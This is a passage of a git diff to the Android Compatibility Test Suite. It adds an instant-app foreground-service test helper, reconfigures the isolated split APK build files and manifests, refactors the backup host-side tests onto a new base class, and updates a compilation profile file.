+ "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+ + " " + Manifest.permission.INSTANT_APP_FOREGROUND_SERVICE);
+ }
+
private static Intent makeIntent(String action, String category, String mimeType) {
Intent intent = new Intent(action);
if (category != null) {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
new file mode 100644
index 0000000..116067a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.function.IntConsumer;
+
+public class SomeService extends Service {
+ private static IntConsumer sCallback;
+
+ public static void setOnStartCommandCallback(IntConsumer callback) {
+ sCallback = callback;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ final Notification.Builder builder = new Notification.Builder(this, "foo")
+ .setSmallIcon(android.R.drawable.sym_def_app_icon)
+ .setContentTitle("foo")
+ .setWhen(System.currentTimeMillis())
+ .setOngoing(true);
+ try {
+ startForeground(1, builder.build());
+ stopSelf(startId);
+ } catch (Exception e) {
+ sCallback.accept(0);
+ return START_NOT_STICKY;
+ }
+ sCallback.accept(1);
+ return START_NOT_STICKY;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 0834642..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_SDK_VERSION := current
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
-# Tag this module as a cts test artifact
-
include $(BUILD_CTS_SUPPORT_PACKAGE)
+# Build the other splits.
include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 48b4e3b..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_a"
featureSplit="feature_a">
<application>
- <activity android:name=".feature_a.FeatureAActivity">
+ <activity android:name=".FeatureAActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_a.FeatureAReceiver">
+ <receiver android:name=".FeatureAReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 64b5fc3..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base and feature A.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
LOCAL_AAPT_FLAGS += --package-id 0x81
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_b"
featureSplit="feature_b">
<uses-split android:name="feature_a" />
<application>
- <activity android:name=".feature_b.FeatureBActivity">
+ <activity android:name=".FeatureBActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_b.FeatureBReceiver">
+ <receiver android:name=".FeatureBReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index f21d1d0..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
LOCAL_PATH:= $(call my-dir)
include $(CLEAR_VARS)
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
LOCAL_USE_AAPT2 := true
LOCAL_MODULE_TAGS := tests
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
LOCAL_SRC_FILES := $(call all-subdir-java-files)
+# Generate a locale split.
LOCAL_PACKAGE_SPLITS := pl
+# Code and resource dependency on the base.
LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
-LOCAL_AAPT_FLAGS += --package-id 0x82
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Use the same package ID as feature A, since this is an isolated split and
+# will not be loaded together with feature A.
+LOCAL_AAPT_FLAGS += --package-id 0x80
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index ac3a57f..64b087c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,17 +15,17 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.isolatedsplitapp"
+ package="com.android.cts.isolatedsplitapp.feature_c"
featureSplit="feature_c">
<application>
- <activity android:name=".feature_c.FeatureCActivity">
+ <activity android:name=".FeatureCActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
- <receiver android:name=".feature_c.FeatureCReceiver">
+ <receiver android:name=".FeatureCReceiver">
<intent-filter>
<action android:name="com.android.cts.isolatedsplitapp.ACTION" />
</intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
index 2f6af13..b85e21b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/src/com/android/cts/isolatedsplitapp/SplitAppTest.java
@@ -45,15 +45,20 @@
@RunWith(AndroidJUnit4.class)
public class SplitAppTest {
private static final String PACKAGE = "com.android.cts.isolatedsplitapp";
+
private static final ComponentName FEATURE_A_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
private static final ComponentName FEATURE_B_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
private static final ComponentName FEATURE_C_ACTIVITY =
ComponentName.createRelative(PACKAGE, ".feature_c.FeatureCActivity");
- private static final String FEATURE_A_STRING = PACKAGE + ":string/feature_a_string";
- private static final String FEATURE_B_STRING = PACKAGE + ":string/feature_b_string";
- private static final String FEATURE_C_STRING = PACKAGE + ":string/feature_c_string";
+
+ private static final String FEATURE_A_STRING =
+ "com.android.cts.isolatedsplitapp.feature_a:string/feature_a_string";
+ private static final String FEATURE_B_STRING =
+ "com.android.cts.isolatedsplitapp.feature_b:string/feature_b_string";
+ private static final String FEATURE_C_STRING =
+ "com.android.cts.isolatedsplitapp.feature_c:string/feature_c_string";
private static final Configuration PL = new Configuration();
static {
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
index 4f46936..73373d3 100644
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -62,6 +62,7 @@
private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index acdb423..f0861c0 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -16,15 +16,13 @@
package android.cts.backup;
-import static junit.framework.Assert.assertTrue;
-
import static org.junit.Assert.assertEquals;
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertTrue;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import org.junit.After;
import org.junit.Before;
@@ -38,7 +36,7 @@
* Base class for CTS backup/restore hostside tests
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public abstract class BaseBackupHostSideTest extends CompatibilityHostTestBase {
+public abstract class BaseBackupHostSideTest extends BaseHostJUnit4Test {
protected boolean mIsBackupSupported;
/** Value of PackageManager.FEATURE_BACKUP */
@@ -49,7 +47,7 @@
@Before
public void setUp() throws DeviceNotAvailableException, Exception {
- mIsBackupSupported = mDevice.hasFeature("feature:" + FEATURE_BACKUP);
+ mIsBackupSupported = getDevice().hasFeature("feature:" + FEATURE_BACKUP);
if (!mIsBackupSupported) {
CLog.i("android.software.backup feature is not supported on this device");
return;
@@ -71,7 +69,7 @@
* Execute shell command "bmgr backupnow <packageName>" and return output from this command.
*/
protected String backupNow(String packageName) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand("bmgr backupnow " + packageName);
+ return getDevice().executeShellCommand("bmgr backupnow " + packageName);
}
/**
@@ -96,14 +94,14 @@
* Execute shell command "bmgr restore <packageName>" and return output from this command.
*/
protected String restore(String packageName) throws DeviceNotAvailableException {
- return mDevice.executeShellCommand("bmgr restore " + packageName);
+ return getDevice().executeShellCommand("bmgr restore " + packageName);
}
/**
* Attempts to clear the device log.
*/
protected void clearLogcat() throws DeviceNotAvailableException {
- mDevice.executeAdbCommand("logcat", "-c");
+ getDevice().executeAdbCommand("logcat", "-c");
}
/**
@@ -174,7 +172,7 @@
protected void startActivityInPackageAndWait(String packageName, String className)
throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format(
+ getDevice().executeShellCommand(String.format(
"am start -W -a android.intent.action.MAIN -n %s/%s.%s", packageName,
packageName,
className));
@@ -187,19 +185,19 @@
*/
protected void clearBackupDataInLocalTransport(String packageName)
throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
+ getDevice().executeShellCommand(String.format("bmgr wipe %s %s", LOCAL_TRANSPORT, packageName));
}
/**
* Clears package data
*/
protected void clearPackageData(String packageName) throws DeviceNotAvailableException {
- mDevice.executeShellCommand(String.format("pm clear %s", packageName));
+ getDevice().executeShellCommand(String.format("pm clear %s", packageName));
}
private boolean isBackupEnabled() throws DeviceNotAvailableException {
boolean isEnabled;
- String output = mDevice.executeShellCommand("bmgr enabled");
+ String output = getDevice().executeShellCommand("bmgr enabled");
Pattern pattern = Pattern.compile("^Backup Manager currently (enabled|disabled)$");
Matcher matcher = pattern.matcher(output.trim());
if (matcher.find()) {
@@ -211,7 +209,7 @@
}
private String getCurrentTransport() throws DeviceNotAvailableException {
- String output = mDevice.executeShellCommand("bmgr list transports");
+ String output = getDevice().executeShellCommand("bmgr list transports");
Pattern pattern = Pattern.compile("\\* (.*)");
Matcher matcher = pattern.matcher(output);
if (matcher.find()) {
diff --git a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
index 89cfe40..6589993 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullBackupOnlyHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -76,6 +76,7 @@
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index 8dd589a..e137e3e 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -16,8 +16,6 @@
package android.cts.backup;
-import static org.junit.Assert.assertTrue;
-
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
diff --git a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
index a1f4927..5ce86d9 100644
--- a/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/KeyValueBackupRestoreHostSideTest.java
@@ -16,7 +16,7 @@
package android.cts.backup;
-import static junit.framework.Assert.assertNull;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
@@ -27,8 +27,6 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.FileNotFoundException;
-
/**
* Test for checking that key/value backup and restore works correctly.
* It interacts with the app that saves values in different shared preferences and files.
@@ -60,6 +58,7 @@
@Before
+ @Override
public void setUp() throws Exception {
super.setUp();
installPackage(KEY_VALUE_RESTORE_APP_APK);
@@ -70,6 +69,7 @@
}
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
diff --git a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
index 7c1f37b..a62eab8 100644
--- a/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/RestoreAnyVersionHostSideTest.java
@@ -16,23 +16,17 @@
package android.cts.backup;
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertNull;
-import static junit.framework.Assert.assertTrue;
-
-import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.assertNull;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.TargetSetupError;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.FileNotFoundException;
-
/**
* Test checking that restoreAnyVersion manifest flag is respected by backup manager.
*
@@ -62,6 +56,7 @@
"CtsBackupRestoreAnyVersionNoRestoreApp.apk";
@After
+ @Override
public void tearDown() throws Exception {
super.tearDown();
@@ -157,21 +152,21 @@
}
private void installRestoreAnyVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(RESTORE_ANY_VERSION_APP_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
}
private void installNoRestoreAnyVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(NO_RESTORE_ANY_VERSION_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsOld");
}
private void installNewVersionApp()
- throws DeviceNotAvailableException, FileNotFoundException {
+ throws DeviceNotAvailableException, TargetSetupError {
installPackage(RESTORE_ANY_VERSION_UPDATE_APK, "-d", "-r");
checkRestoreAnyVersionDeviceTest("checkAppVersionIsNew");
diff --git a/hostsidetests/compilation/assets/primary.prof.txt b/hostsidetests/compilation/assets/primary.prof.txt
index 0a8bded..fd55262 100644
--- a/hostsidetests/compilation/assets/primary.prof.txt
+++ b/hostsidetests/compilation/assets/primary.prof.txt
@@ -1,103 +1,103 @@
Landroid/cts/compilation/CompilationTargetActivity;
-Landroid/cts/compilation/CompilationTargetActivity;->m0()I
-Landroid/cts/compilation/CompilationTargetActivity;->m1()I
-Landroid/cts/compilation/CompilationTargetActivity;->m2()I
-Landroid/cts/compilation/CompilationTargetActivity;->m3()I
-Landroid/cts/compilation/CompilationTargetActivity;->m4()I
-Landroid/cts/compilation/CompilationTargetActivity;->m5()I
-Landroid/cts/compilation/CompilationTargetActivity;->m6()I
-Landroid/cts/compilation/CompilationTargetActivity;->m7()I
-Landroid/cts/compilation/CompilationTargetActivity;->m8()I
-Landroid/cts/compilation/CompilationTargetActivity;->m9()I
-Landroid/cts/compilation/CompilationTargetActivity;->m10()I
-Landroid/cts/compilation/CompilationTargetActivity;->m11()I
-Landroid/cts/compilation/CompilationTargetActivity;->m12()I
-Landroid/cts/compilation/CompilationTargetActivity;->m13()I
-Landroid/cts/compilation/CompilationTargetActivity;->m14()I
-Landroid/cts/compilation/CompilationTargetActivity;->m15()I
-Landroid/cts/compilation/CompilationTargetActivity;->m16()I
-Landroid/cts/compilation/CompilationTargetActivity;->m17()I
-Landroid/cts/compilation/CompilationTargetActivity;->m18()I
-Landroid/cts/compilation/CompilationTargetActivity;->m19()I
-Landroid/cts/compilation/CompilationTargetActivity;->m20()I
-Landroid/cts/compilation/CompilationTargetActivity;->m21()I
-Landroid/cts/compilation/CompilationTargetActivity;->m22()I
-Landroid/cts/compilation/CompilationTargetActivity;->m23()I
-Landroid/cts/compilation/CompilationTargetActivity;->m24()I
-Landroid/cts/compilation/CompilationTargetActivity;->m25()I
-Landroid/cts/compilation/CompilationTargetActivity;->m26()I
-Landroid/cts/compilation/CompilationTargetActivity;->m27()I
-Landroid/cts/compilation/CompilationTargetActivity;->m28()I
-Landroid/cts/compilation/CompilationTargetActivity;->m29()I
-Landroid/cts/compilation/CompilationTargetActivity;->m30()I
-Landroid/cts/compilation/CompilationTargetActivity;->m31()I
-Landroid/cts/compilation/CompilationTargetActivity;->m32()I
-Landroid/cts/compilation/CompilationTargetActivity;->m33()I
-Landroid/cts/compilation/CompilationTargetActivity;->m34()I
-Landroid/cts/compilation/CompilationTargetActivity;->m35()I
-Landroid/cts/compilation/CompilationTargetActivity;->m36()I
-Landroid/cts/compilation/CompilationTargetActivity;->m37()I
-Landroid/cts/compilation/CompilationTargetActivity;->m38()I
-Landroid/cts/compilation/CompilationTargetActivity;->m39()I
-Landroid/cts/compilation/CompilationTargetActivity;->m40()I
-Landroid/cts/compilation/CompilationTargetActivity;->m41()I
-Landroid/cts/compilation/CompilationTargetActivity;->m42()I
-Landroid/cts/compilation/CompilationTargetActivity;->m43()I
-Landroid/cts/compilation/CompilationTargetActivity;->m44()I
-Landroid/cts/compilation/CompilationTargetActivity;->m45()I
-Landroid/cts/compilation/CompilationTargetActivity;->m46()I
-Landroid/cts/compilation/CompilationTargetActivity;->m47()I
-Landroid/cts/compilation/CompilationTargetActivity;->m48()I
-Landroid/cts/compilation/CompilationTargetActivity;->m49()I
-Landroid/cts/compilation/CompilationTargetActivity;->m50()I
-Landroid/cts/compilation/CompilationTargetActivity;->m51()I
-Landroid/cts/compilation/CompilationTargetActivity;->m52()I
-Landroid/cts/compilation/CompilationTargetActivity;->m53()I
-Landroid/cts/compilation/CompilationTargetActivity;->m54()I
-Landroid/cts/compilation/CompilationTargetActivity;->m55()I
-Landroid/cts/compilation/CompilationTargetActivity;->m56()I
-Landroid/cts/compilation/CompilationTargetActivity;->m57()I
-Landroid/cts/compilation/CompilationTargetActivity;->m58()I
-Landroid/cts/compilation/CompilationTargetActivity;->m59()I
-Landroid/cts/compilation/CompilationTargetActivity;->m60()I
-Landroid/cts/compilation/CompilationTargetActivity;->m61()I
-Landroid/cts/compilation/CompilationTargetActivity;->m62()I
-Landroid/cts/compilation/CompilationTargetActivity;->m63()I
-Landroid/cts/compilation/CompilationTargetActivity;->m64()I
-Landroid/cts/compilation/CompilationTargetActivity;->m65()I
-Landroid/cts/compilation/CompilationTargetActivity;->m66()I
-Landroid/cts/compilation/CompilationTargetActivity;->m67()I
-Landroid/cts/compilation/CompilationTargetActivity;->m68()I
-Landroid/cts/compilation/CompilationTargetActivity;->m69()I
-Landroid/cts/compilation/CompilationTargetActivity;->m70()I
-Landroid/cts/compilation/CompilationTargetActivity;->m71()I
-Landroid/cts/compilation/CompilationTargetActivity;->m72()I
-Landroid/cts/compilation/CompilationTargetActivity;->m73()I
-Landroid/cts/compilation/CompilationTargetActivity;->m74()I
-Landroid/cts/compilation/CompilationTargetActivity;->m75()I
-Landroid/cts/compilation/CompilationTargetActivity;->m76()I
-Landroid/cts/compilation/CompilationTargetActivity;->m77()I
-Landroid/cts/compilation/CompilationTargetActivity;->m78()I
-Landroid/cts/compilation/CompilationTargetActivity;->m79()I
-Landroid/cts/compilation/CompilationTargetActivity;->m80()I
-Landroid/cts/compilation/CompilationTargetActivity;->m81()I
-Landroid/cts/compilation/CompilationTargetActivity;->m82()I
-Landroid/cts/compilation/CompilationTargetActivity;->m83()I
-Landroid/cts/compilation/CompilationTargetActivity;->m84()I
-Landroid/cts/compilation/CompilationTargetActivity;->m85()I
-Landroid/cts/compilation/CompilationTargetActivity;->m86()I
-Landroid/cts/compilation/CompilationTargetActivity;->m87()I
-Landroid/cts/compilation/CompilationTargetActivity;->m88()I
-Landroid/cts/compilation/CompilationTargetActivity;->m89()I
-Landroid/cts/compilation/CompilationTargetActivity;->m90()I
-Landroid/cts/compilation/CompilationTargetActivity;->m91()I
-Landroid/cts/compilation/CompilationTargetActivity;->m92()I
-Landroid/cts/compilation/CompilationTargetActivity;->m93()I
-Landroid/cts/compilation/CompilationTargetActivity;->m94()I
-Landroid/cts/compilation/CompilationTargetActivity;->m95()I
-Landroid/cts/compilation/CompilationTargetActivity;->m96()I
-Landroid/cts/compilation/CompilationTargetActivity;->m97()I
-Landroid/cts/compilation/CompilationTargetActivity;->m98()I
-Landroid/cts/compilation/CompilationTargetActivity;->m99()I
-Landroid/cts/compilation/CompilationTargetActivity;->m100()I
-Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
+SHLandroid/cts/compilation/CompilationTargetActivity;->m0()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m1()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m2()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m3()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m4()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m5()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m6()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m7()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m8()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m9()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m10()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m11()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m12()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m13()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m14()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m15()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m16()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m17()I
+SHLandroid/cts/compilation/CompilationTargetActivity;->m18()I
